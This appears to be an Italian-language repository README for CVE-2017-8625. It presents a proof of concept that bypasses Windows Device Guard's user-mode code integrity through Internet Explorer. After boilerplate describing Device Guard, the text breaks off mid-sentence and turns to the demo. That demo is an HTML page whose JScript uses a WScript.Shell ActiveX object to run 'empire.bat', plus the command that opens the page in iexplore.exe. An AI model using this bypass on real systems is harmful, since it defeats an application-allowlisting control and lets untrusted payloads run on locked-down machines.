homjxi0e/cve-2017-8625_bypass_umciBypass della funzionalità UMCI in Internet Explorer
Windows Defender Device Guard è una combinazione di funzionalità di sicurezza hardware e software pensate per le imprese che, se configurate insieme, bloccano il dispositivo in modo che possa eseguire solo applicazioni attendibili che definisci nelle tue policy di integrità del codice. Se l'app non è attendibile non può essere eseguita, punto. Con hardware che soddisfa i requisiti di base, ciò significa anche che, anche se un attaccante riesce a ottenere il controllo del kernel di Windows, sarà molto meno probabile che possa eseguire codice eseguibile dannoso. Con hardware appropriato, Windows Defender Device Guard può utilizzare la nuova sicurezza basata sulla virtualizzazione in Windows 10 (disponibile nelle SKU desktop Enterprise ed Education e in tutte le SKU Server) per isolare il servizio di integrità del codice dal kernel Microsoft Windows stesso. In questo caso, il servizio di integrità del codice viene eseguito accanto al kernel in un contenitore protetto dall'hypervisor di Windows. Questa guida esplora le singole funzionalità di Windows Defender Device Guard e come pianificarle, configurarle e distribuirle. Include:
UMCI impedisce l'esecuzione di binari non approvati, limita il Windows Scripting Host e pone PowerShell in modalità Constrained Language. Questo rende piuttosto difficile ottenere l'esecuzione di codice su un sistema. Questo post sta per
Facciamo una dimostrazione di bypass del codice
======================================================================||>
<html>
<body>
<script type="text/jscript">
var r = new ActiveXObject("WScript.Shell").Run("empire.bat");
</script>
</body>
</html>
======================================================================||>
PS:> C:\Users\Homjxie> cmd /C "C:\Program Files\Internet Explorer\iexplore.exe " "C:\Users\Homjxie\Desktop\Homjxie.html"
======================================================================||>
======================================================================||> ======================================================================||>